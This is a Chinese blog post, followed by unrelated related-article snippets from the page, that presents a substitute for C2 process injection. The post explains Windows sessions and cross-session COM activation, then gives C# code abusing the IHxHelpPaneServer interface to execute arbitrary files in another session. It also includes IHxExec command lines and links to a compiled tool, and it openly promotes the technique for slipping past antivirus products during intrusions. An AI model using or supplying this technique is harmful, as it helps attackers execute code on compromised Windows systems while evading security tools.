替代进程注入的新工具

目录

前言

Windows Session 的利用

Windows Session 介绍

跨会话激活技术

什么是跨会话激活机制?

常见的跨会话激活技术

结合利用

地址


前言

众所周知,常用的C2工具(例如CobaltStrike)在另一个进程上下文中执行代码经常使用的就是injectshinject命令,这两个命令可以将代码注入到任意远程进程中。例如:

inject 5732 x64

但是进程注入方案现在已经被杀软监测得死死的,尤其是某数字公司,只有在当前进程上下文中进行注入才不会被杀。那么除了进程注入外我们是否还有其他方案能在其他进程上下文中执行代码呢?

Windows Session 的利用

Windows Session 介绍

在介绍新工具前,我先讲一下大致的原理,核心就是利用了Windows Session。会话(session)是由进程和其他的系统对象(比如窗口站、桌面和窗口)构成的,他们代表了一个用户的工作站登录会话。Windows系统是支持多会话的,因此会话空间(session space)包含了一些针对每个会话的全局信息。Session的创建一般有以下两种方式:

  • 本地会话:用户在物理机上登录,创建一个会话。
  • 远程会话:同一用户通过远程桌面连接到同一台机器,也会创建一个新的会话。

我们可以通过输入quser来查询当前Session:

Windows中net session的利用也可以查看这里,进行进一步了解,例如窃取Session来进行提权(前提是获得了SeImpersonate或者SeAssignPrimaryToken权限)。

跨会话激活技术

什么是跨会话激活机制?

跨会话激活机制是指在不同的用户会话之间执行某些操作或激活某些功能。这种机制在多用户环境(如终端服务器或远程桌面服务)中尤为重要,因为不同用户的会话是隔离的。

常见的跨会话激活技术

Windows 服务:Windows 服务运行在会话0中,可以与其他用户会话进行交互。例如,服务可以在用户登录时启动某些进程。

任务计划程序:可以使用任务计划程序在特定的用户会话中执行任务。

远程桌面服务(RDS):可以通过 RDS 在不同用户会话之间进行操作。

COM 和 DCOM:组件对象模型(COM)和分布式组件对象模型(DCOM)可以在不同会话之间进行对象调用。

WTS APIs:Windows 终端服务(WTS)API 提供了一组函数,用于跨会话管理和操作。

结合利用

如果存在Session1和Session2,在Session1中利用跨会话激活技术来在Session2中执行代码,就与进程注入相差无疑了。流程为:

创建服务器会话(Session1)和客户端会话(Session2) 客户端会话是用来接收创建COM对象请求的会话,通过调用该COM对象的方法,客户端将能够在其会话中执行代码。

其中最为重要的则是如何执行代码,此处使用P0在2016年公布的一个未文档化的接口:IHxHelpPaneServer,该接口很有用,因为它提供了一个 Execute 方法,允许在系统上执行任意文件。使用方法为:


using System;
using System.Runtime.InteropServices;namespace IHxHelpPaneServer
{static class Program{static void Main(){var path = "file:///C:/Windows/System32/calc.exe";var session = System.Diagnostics.Process.GetCurrentProcess();Server.execute(session.SessionId.ToString(), path); // u can change session id here}}static class Server{[ComImport, Guid("8cec592c-07a1-11d9-b15e-000d56bfe6ee"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]interface IHxHelpPaneServer{void DisplayTask(string task);void DisplayContents(string contents);void DisplaySearchResults(string search);void Execute([MarshalAs(UnmanagedType.LPWStr)] string file);}public static void execute(string new_session_id, string path){try{IHxHelpPaneServer server = (IHxHelpPaneServer)Marshal.BindToMoniker(String.Format("session:{0}!new:8cec58ae-07a1-11d9-b15e-000d56bfe6ee", new_session_id)); // alert alert red flagUri target = new Uri(path);server.Execute(target.AbsoluteUri);}catch{}}}
}

那么如何在其他session中创建com接口呢,可以使用IStandartActivator + ISpecialSystemProperties。详情查看这里。在大多数情况下,我们都并非在多session环境中上线的,有趣的是在单session环境中,我们仍可以调用此接口进行代码执行,虽然Session未进行切换,但是IHxHelpPaneServer在杀软绕过上仍然奏效(可以理解为com接口的滥用仍起作用)。那么这里就有两套方案:

单session(常用情况):

.\IHxExec.exe -s 1 -c C:/Windows/SYSTEM32/CALC.EXE

多session:

.\IHxExec.exe -s 2 -c C:/Windows/SYSTEM32/CALC.EXE

地址

本文使用工具下载地址(已编译):https://pan.quark.cn/s/6737c50e12da

相关项目(未编译):https://github.com/CICADA8-Research/IHxExec

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/401494.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Android】不同系统版本获取设备MAC地址

【Android】不同系统版本获取设备MAC地址 尝试实现 尝试 在开发过程中,想要获取MAC地址,最开始想到的就是WifiManager,但结果始终返回02:00:00:00:00:00,由于用得是wifi ,考虑是不是因为用得网线的原因,但…

Fultter项目中IOS打包问题整理(附带解决方案)

Fultter项目中IOS打包问题整理(附带解决方案) 问题一:CocoaPods 在你的项目中找不到名为 AlicloudPush 版本为 ~> 1.9.1 的 Pod 规范。报错信息问题分析解决方法 问题二:ruby版本问题报错信息问题分析问题原因解决方法 问题三&…

WPS真题题库导入刷题小程序:个人使用经验分享

这篇文章的诞生,是因为我即将踏上一场超级有趣的挑战——备考全国计算机等级二级WPS Office高级应用与设计的冒险之旅! WPS的分值: 单项选择题20分(含公共基础知识部分10分)。 WPS处理文字文档操作题30分。 WPS处理电子表格操作题30分。 …

挑战程序设计竞赛c++(第一天)1.抽签(枚举,二分法查找)2.三角形(暴力枚举)

方法一&#xff1a; #include<iostream> #include<algorithm> #include<vector>using namespace std; char flag0; int n0; int m0; int shu[1000]{0}; int i; int main() {cin >> n;cin >> m;for (i0;i<n;i){cin >> shu[i];}vector&l…

Design Compiler——综合及debug流程

文章目录 前言一、什么是综合&#xff1f;二、综合的流程1. Develop HDL files2. Specify libraries3. Read design4. Define design environment5. Set design constraints6. Select compile strategy7. Synthesize and optimize the design8. Analyze and resolve design pro…

idea 中的properties文件中文乱码

如遇到以下类似的问题&#xff1a; 配置setting中-》Editor-》File Encodings 中&#xff0c;将以下三处位置的编码格式进行修改 Global Encoding GBK Project Encoding GBK Default encoding for properties files UTF-8 修改之后文件的中文显示正常

老友记台词 第一季 第十四集 Friends 114(全英版)

文章目录 V114 The One With the Candy Hearts[Scene: Central Perk, Ross is eyeing a beautiful woman at the counter, and Joey and Chandler are egging him on to go talk to her. No pun intended. I mean it.][Scene: Central Perk, Monica, Rachel, Phoebe, Joey, Cha…

从源码到应用:医疗陪诊系统与在线问诊小程序开发详解

在数字化医疗时代&#xff0c;医疗陪诊系统与在线问诊小程序的开发成为了医疗机构和技术公司关注的焦点。接下来&#xff0c;小编将与您一同深入了解。 一、医疗陪诊系统的核心功能 医疗陪诊系统旨在为患者提供更贴心的医疗服务&#xff0c;通过专业人员陪同患者完成就医过程。…

【C语言篇】C语言常考及易错题整理DAY1

文章目录 C语言常考及易错题整理选择题全局、局部和静态变量#define与typedef转义字符操作符循环其他 编程题计算日期到天数转换柯尼希定理旋转数组的最小数字描述错误的集合整数转换密码检查 C语言常考及易错题整理 选择题 全局、局部和静态变量 执行下面程序&#xff0c;正…

[000-01-030].第3节 :搭建Zookeeper集群环境

1.搭建Zookeeper集群环境 1.1.集群安装&#xff1a; a.集群规划&#xff1a; 在 hadoop103(192.168.2.3)、hadoop104(192.168.2.4) 和 hadoop105&#xff08;(192.168.2.5&#xff09; 三个节点上都部署 Zookeeper b.解压安装&#xff1a; 1.下载zookeeper压缩版本&#x…

微软披露Office最新零日漏洞,可能导致数据泄露

近日&#xff0c;微软披露了 Office 中一个未修补的零日漏洞&#xff0c;如果被成功利用&#xff0c;可能导致敏感信息在未经授权的情况下泄露给恶意行为者。 该漏洞被追踪为 CVE-2024-38200&#xff08;CVSS 得分&#xff1a;7.5&#xff09;&#xff0c;被描述为一个欺骗漏洞…

AI安全-文生图

1 需求 2 接口 3 示例 大模型图像安全风险探析 - 先知社区 前言 文生图模型是一种新兴的人工智能技术,它通过对大规模文本数据的学习,能够生成逼真的图像。这种模型包含两个主要组件:一个文本编码器和一个图像生成器。 文本编码器接收文本输入,并将其转换为一种数字化的表示…

Allegro如何更改过孔的网络

Allegro如何更改过孔网络 在用Allegro进行PCB设计过程中,有时候需要改变过孔的网络。 如果用删除再重新打过孔的方式就显的比较慢;这时如果使用skill操作就可以大大提高PCB设计的效率。 下面介绍具体操作方法: (1)首先点击属性查看过孔的网络,此时过孔网络为DGND。如下…

【Python-办公自动化】1秒比较出2张表格之间的不同并标黄加粗

欢迎来到"花花 Show Python"&#xff0c;一名热爱编程和分享知识的技术博主。在这里&#xff0c;我将与您一同探索Python的奥秘&#xff0c;分享编程技巧、项目实践和学习心得。无论您是编程新手还是资深开发者&#xff0c;都能在这里找到有价值的信息和灵感。 自我介…

Raspberry Pi Pico 家族的进化 —— RP2040、RP2350与RP2354性能比较

随着树莓派Pico系列的不断扩展&#xff0c;其背后的芯片也得到了升级和改进。从最初的RP2040到最新的RP2354&#xff0c;每一次迭代都带来了新的功能和性能提升。本文将详细对比RP2040、RP2350和RP2354三款芯片的关键特性&#xff0c;帮助开发者了解它们的差异&#xff0c;并选…

three.js 几何体、材质和网格模型

场景Scene、相机Camera、渲染器Renderer初始化完成之后&#xff0c;可以向场景中添加一个简单的模型进行展示。在此之前需要了解三个概念&#xff1a;几何体、材质、网格模型。 几何体&#xff1a;表示物体的几何形状。材质&#xff1a;表示物体的外观效果。网格模型&#xff…

YoloV8改进策略:Block改进|LeYOLO,一种用于目标检测的新型可扩展且高效的CNN架构|复现LeYolo,轻量级Yolo改进

摘要 LeYOLO是在YOLO系列&#xff0c;特别是可能受到YOLOv8启发的基础上进行的一系列改进&#xff0c;旨在提升目标检测模型的高效性、可扩展性和精度。其主要特点包括&#xff1a; 高效骨干网络缩放方法&#xff1a; LeYOLO借鉴了倒置瓶颈&#xff08;Inverted Bottleneck&am…

大模型学习方法之——大模型技术学习路线

“ 技术学习无非涵盖三个方面&#xff0c;理论&#xff0c;实践和应用**”** 大模型技术爆火至今已经有两年的时间了&#xff0c;而且大模型技术的发展潜力也不言而喻。因此&#xff0c;很多人打算学习大模型&#xff0c;但又不知道该怎么入手&#xff0c;因此今天就来了解一下…

Spring——IOC/DI思想

1、IOC&#xff08;Inversion of Control&#xff09;控制反转 何为控制反转&#xff1f; 在业务层中我们如果要调用数据层的方法那么必然牵扯到对象的创建&#xff0c;如果我想要改变上述数据层的方法中的内容&#xff0c;那么我就要改变业务层的代码&#xff0c;重新创建对…

RedisTempate序列化的json字符串,如何反序列化

待转换的字符串 常见工具 Gson json new Gson(); 无法解析&#xff0c;只能有Josn的反序列化来实现 public void onMessage(final Message message, final byte[] pattern) { // RedisMessage redisMessage json.fromJson(message.toString(), RedisMessage.class);//…